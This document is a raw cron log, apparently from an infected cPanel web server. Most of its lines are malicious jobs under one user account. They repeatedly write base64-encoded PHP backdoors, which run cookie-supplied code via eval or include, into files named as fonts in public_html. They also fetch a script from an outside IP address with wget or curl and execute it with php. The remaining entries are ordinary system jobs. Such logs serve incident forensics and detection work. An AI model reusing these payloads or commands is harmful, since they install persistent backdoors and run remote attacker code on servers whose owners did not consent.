Sep  5 07:21:01 ip-184-168-122-23 CROND[493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:22:01 ip-184-168-122-23 CROND[583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:22:01 ip-184-168-122-23 CROND[585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:22:01 ip-184-168-122-23 CROND[588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:22:01 ip-184-168-122-23 CROND[586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:22:01 ip-184-168-122-23 CROND[589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:23:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:23:01 ip-184-168-122-23 CROND[806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:23:01 ip-184-168-122-23 CROND[807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:23:01 ip-184-168-122-23 CROND[809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:24:01 ip-184-168-122-23 CROND[902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:24:01 ip-184-168-122-23 CROND[904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:24:01 ip-184-168-122-23 CROND[906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:24:01 ip-184-168-122-23 CROND[905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:24:01 ip-184-168-122-23 CROND[907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:25:01 ip-184-168-122-23 CROND[1022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:25:01 ip-184-168-122-23 CROND[1023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:25:01 ip-184-168-122-23 CROND[1024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:25:01 ip-184-168-122-23 CROND[1025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:25:01 ip-184-168-122-23 CROND[1027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:25:01 ip-184-168-122-23 CROND[1028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:26:01 ip-184-168-122-23 CROND[1152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:26:01 ip-184-168-122-23 CROND[1154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:26:01 ip-184-168-122-23 CROND[1155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:26:01 ip-184-168-122-23 CROND[1156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:26:01 ip-184-168-122-23 CROND[1157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:27:01 ip-184-168-122-23 CROND[1248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:27:01 ip-184-168-122-23 CROND[1251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:27:01 ip-184-168-122-23 CROND[1252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:27:01 ip-184-168-122-23 CROND[1250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:28:01 ip-184-168-122-23 CROND[1488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:28:01 ip-184-168-122-23 CROND[1490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:28:01 ip-184-168-122-23 CROND[1492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:28:01 ip-184-168-122-23 CROND[1494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:28:01 ip-184-168-122-23 CROND[1495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:29:01 ip-184-168-122-23 CROND[1610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:29:01 ip-184-168-122-23 CROND[1611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:29:01 ip-184-168-122-23 CROND[1612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:29:02 ip-184-168-122-23 CROND[1615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:30:01 ip-184-168-122-23 CROND[1745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:30:01 ip-184-168-122-23 CROND[1743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:30:01 ip-184-168-122-23 CROND[1746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:31:01 ip-184-168-122-23 CROND[1885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:31:01 ip-184-168-122-23 CROND[1888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:31:01 ip-184-168-122-23 CROND[1891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:31:01 ip-184-168-122-23 CROND[1889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:31:01 ip-184-168-122-23 CROND[1890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:32:01 ip-184-168-122-23 CROND[2014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:32:01 ip-184-168-122-23 CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:32:01 ip-184-168-122-23 CROND[2018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:32:01 ip-184-168-122-23 CROND[2017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:32:01 ip-184-168-122-23 CROND[2019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:33:01 ip-184-168-122-23 CROND[2128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:33:01 ip-184-168-122-23 CROND[2130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:33:01 ip-184-168-122-23 CROND[2133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:33:01 ip-184-168-122-23 CROND[2131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
